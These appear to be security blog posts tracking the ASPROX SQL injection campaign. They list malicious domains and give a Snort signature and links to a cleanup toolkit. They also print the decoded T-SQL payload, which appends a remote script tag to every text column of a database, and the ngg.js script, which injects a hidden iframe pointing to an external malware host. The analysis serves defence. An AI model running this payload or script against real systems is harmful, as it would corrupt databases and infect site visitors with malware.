ASPROX Latest Attack Vector: JS.JS

Most ASPROX SQL Injection attacks are now using js.js

Grab our ASPROX toolkit for information on cleaning and defending from this threat.

Here are the latest ASPROX domains detected:

www.porv.ru/js.js
www.ncbw.ru/js.js
www.98hs.ru/js.js
www.nwj4.ru/js.js
www.bywd.ru/js.js
www.bgsr.ru/js.js
www.ibse.ru/js.js
www.uhwc.ru/js.js
www.ojns.ru/js.js
www.8hcs.ru/js.js
mo98g.cn/q.js
abc.verynx.cn/w.js
www.bosf.ru/js.js
www.bnsr.ru/js.js
www.ch35.ru/js.js
www.jve4.ru/js.js
www.nmr43.ru/js.js
www.bce8.ru/js.js
www.ncwc.ru/js.js
www.njep.ru/js.js
www.bjxt.ru/js.js
www.b4so.ru/js.js
www.kj5s.ru/js.js
www.oics.ru/js.js
www.po4c.ru/js.js
www.kjwd.ru/js.js
www.bsko.ru/js.js
www.pfd2.ru/js.js
www.iroe.ru/js.js
www.gty5.ru/js.js
www.kpo3.ru/js.js
www.ncb2.ru/js.js
www.kr92.ru/js.js

Updated ASPROX Toolkit

We have a new tool kit available with the following important additions:

T-SQL code for cleaning infected databases.

URLScan configuration instructions for catching injection attempts.

click here to grab the new tool kit

ASPROX Payload Morphed NGG.JS

New domains found and new javascript payload "ngg.js" replaced the previous "b.js".

And it doesn't seem to be wasting any time:
http://www.google.com/search?q=ngg.js
Results 1 - 10 of about 19,300 for ngg.js. (0.03 seconds)

New SQL Injection Payload (HEX DECODED):

DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''script src=http://www.apidad.com/ngg.js /script''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

Whats in ngg.js? Familiar iframe attack from before but this time selectively ignores browsers from Russia, Ukraine, China, Korea, Vietnam and India. Lovely :)

window.status="";
n=navigator.userLanguage.toUpperCase();
if((n!="ZH-CN")&&(n!="UR")&&(n!="RU")&&(n!="KO")&&(n!="ZH-TW")&&(n!="ZH")&&(n!="HI")&&(n!="TH")&&(n!="UR")&&(n!="VI")){
var cookieString = document.cookie;
var start = cookieString.indexOf("updngg=");
if (start != -1){}else{
var expires = new Date();
expires.setTime(expires.getTime()+11*3600*1000);
document.cookie = "updngg=update;expires="+expires.toGMTString();
try{
document.write("iframe src=http://mainbvd.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0>/iframe");
}
catch(e)
{
};
}}


New ASPROX domains spotted:
apidad.com, mainbvd.com, bnrbtch.com, ucomddv.com, brsadd.com, asodbr.com, canclvr.com, portwbr.com, catdbw.mobi, allocbn.mobi, testwvr.com, stiwdd.com, adwadb.mobi, dbgbron.com, ktrcom.com, hiwowpp.cn, clrbbd.com, browsad.com, blockkd.com, bnradd.mobi, bnrbase.com, adbtch.com, aladbnr.com, aladbnr.com, loctenv.com, bnrbasead.com, appdad.com, blcadw.com, destbnp.com, attadd.com, nopcls.com, ausbnr.com, bkpadd.mobi, tctcow.com, ausadd.com, movaddw.com, cliprts.com

Snort signature to detect access of infected site:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"ASPROX Infected Site - ngg.js Request"; flow:established,to_server;
uricontent:"/ngg.js"; classtype:trojan-activity; reference:url,infosec20.blogspot.com/; rev:1; sid:4000002;)

And finally go here to download Sentinel IPS' ASPROX Information Toolkit

ASPROX SQL Injection Attacks cont.

ASPROX continues to ravage the web, please contact us for the information packet we put together with defense suggestions.

New ASPROX malware domains: app52.com, appid37.com, apps84.com, asp27.com, asp72.com, script46.com, ssl39.com, st212.com, cid26.com, dl251.com, getbwd.com, st212.com, asp707.com, aspssl63.com, aspx49.com, batch29.com, bin963.com, bios47.com, hlpgetw.com, lang34.com, update34.com, westpacsecuresite.com